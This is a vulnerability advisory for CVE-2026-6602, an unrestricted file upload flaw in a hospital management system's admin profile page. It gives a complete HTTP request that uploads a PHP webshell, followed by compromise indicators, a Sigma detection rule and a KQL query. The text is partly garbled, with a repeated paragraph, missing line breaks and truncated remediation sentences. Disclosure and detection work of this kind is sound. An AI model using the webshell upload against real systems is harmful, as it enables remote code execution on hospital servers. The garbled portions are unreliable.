Technical Analysis
The application blindly trusts the Content-Type header and fails to validate the file extension. By sending a multipart/form-data request, an attacker can bypass all intended access controls.
I observed a critical security flaw in the HMS developed by rickxy. This vulnerability, tracked as CVE-2026-6602, allows an unauthenticated attacker to perform an AFU to achieve RCE.
The flaw is located in /backend/admin/his_admin_account.php. The application lacks proper session validation and fails to restrict file types, allowing attackers to upload malicious scripts via the ad_dpic parameter.
Technical Analysis
The application blindly trusts the Content-Type header and fails to validate the file extension. By sending a multipart/form-data request, an attacker can bypass all intended access controls.
Analysis indicates that the following request achieves code execution:
POST /backend/admin/his_admin_account.php HTTP/1.1Content-Type: multipart/form-data; boundary=aaa
--aaaContent-Disposition: form-data; name="update_profile"1--aaaContent-Disposition: form-data; name="ad_dpic"; filename="shell.php"Content-Type: application/x-php
<?php system($_GET['cmd']); ?>--aaa--The resulting webshell is accessible at /backend/admin/assets/images/users/shell.php.
During an incident response engagement involving this CVE, look for:
/backend/admin/his_admin_account.php./backend/admin/assets/images/users/ with .php or .phtml extensions.title: Potential Unrestricted File Upload in Hospital Management Systemstatus: experimentaldescription: Detects exploitation of CVE-2026-6602.logsource: category: web_serverdetection: selection_post: method: POST url|endswith: '/backend/admin/his_admin_account.php' selection_get: method: GET url|contains: '/backend/admin/assets/images/users/' url|endswith: '.php' condition: selection_post or selection_getlevel: criticallet vulnerable_endpoint = "/backend/admin/his_admin_account.php";let upload_directory = "/backend/admin/assets/images/users/";WebAccessLogs| where (HttpVerb == "POST" and Url has vulnerable_endpoint)or (HttpVerb == "GET" and Url has upload_directory and Url matches regex @"\.(php|phtml|php5)$")| summarize count() by ClientIp, Url, HttpVerb, bin(TimeGenerated, 5m)finfo_file or getimagesize.